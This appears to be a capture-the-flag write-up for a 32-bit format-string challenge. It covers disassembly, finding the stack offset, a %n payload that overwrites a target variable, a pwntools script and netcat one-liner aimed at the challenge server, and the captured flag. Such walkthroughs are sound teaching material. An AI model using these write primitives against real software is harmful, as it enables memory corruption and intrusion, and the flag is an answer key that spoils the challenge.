Category: Binary Exploitation
Server: nc 43.128.69.211 13001
Flag: scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}
Challenge Description
A 32-bit binary with a format string vulnerability. Exploit it to read the flag.
Binary Analysis
$ file formatformat: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
$ checksec --file=format Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)Disassembly Analysis (vuln function)
vuln: push ebp mov ebp, esp sub esp, 0x208 ; allocate buffer space
; fgets(buffer, 0x200, stdin) lea eax, [ebp-0x205] ; buffer address push stdin push 0x200 push eax call fgets
; printf(buffer) - VULNERABLE! No format string lea eax, [ebp-0x205] push eax call printf ; Format string vulnerability here
; Check if target == 0x60 (96) mov eax, [0x804c06c] ; target variable cmp eax, 0x60 jne fail
; WIN: Open and print flag.txt push "r" push "flag.txt" call fopen ; ... reads and prints flag
fail: ; Print "target is %d :(" push eax push "target is %d :(" call printfKey Addresses
-
targetvariable:0x804c06c(in .bss section) -
Target value needed:
0x60(96 decimal)
Vulnerability
The vuln() function passes user input directly to printf() without a format string:
printf(buffer); // Should be: printf("%s", buffer);This allows an attacker to:
-
Read from the stack using
%xor%p -
Write to arbitrary memory using
%n
Exploitation Strategy
Goal: Write 0x60 (96) to the target variable at 0x804c06c
The %n format specifier writes the count of characters printed so far to an address on the stack.
Step 1: Find stack offset
$ echo 'AAAA%1$x' | ./formatAAAA200$ echo 'AAAA%2$x' | ./formatAAAA25414141 # 0x25414141 = "%AAA" - our input (misaligned by 1 byte)The input buffer starts at offset 2, but is misaligned by 1 byte.
Step 2: Fix alignment
$ echo 'XAAAA%2$x' | ./formatXAAAA41414141 # 0x41414141 = "AAAA" - perfectly aligned!Adding a 1-byte prefix (X) aligns our address at offset 2.
Step 3: Craft payload
Payload structure:
X - 1 byte alignment padding\x6c\xc0\x04\x08 - target address (little endian)%91x - print 91 more chars (1+4+91 = 96 = 0x60)%2$n - write char count to address at stack offset 2Exploit
# !/usr/bin/env python3from pwn import *
# Target address (little endian)target_addr = p32(0x804c06c)
# Payload:# X (1 byte) + addr (4 bytes) = 5 chars# Need 96 total, so pad with 91 more: %91x# Write to offset 2: %2$npayload = b"X" + target_addr + b"%91x%2$n"
# Local test# p = process("./format")
# Remotep = remote("43.128.69.211", 13001)p.sendline(payload)print(p.recvall().decode())One-liner:
python3 -c 'import sys; sys.stdout.buffer.write(b"X\x6c\xc0\x04\x08%91x%2\x24n\n")' | nc 43.128.69.211 13001Output
Xl� 58000000scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}Format String Attack Summary
Specifier Purpose
%x
Leak stack values (hex)
%s
Read string at address on stack
%n
Write number of printed chars to address
%N$x
Access Nth argument directly
%Nc
Print N characters (for padding)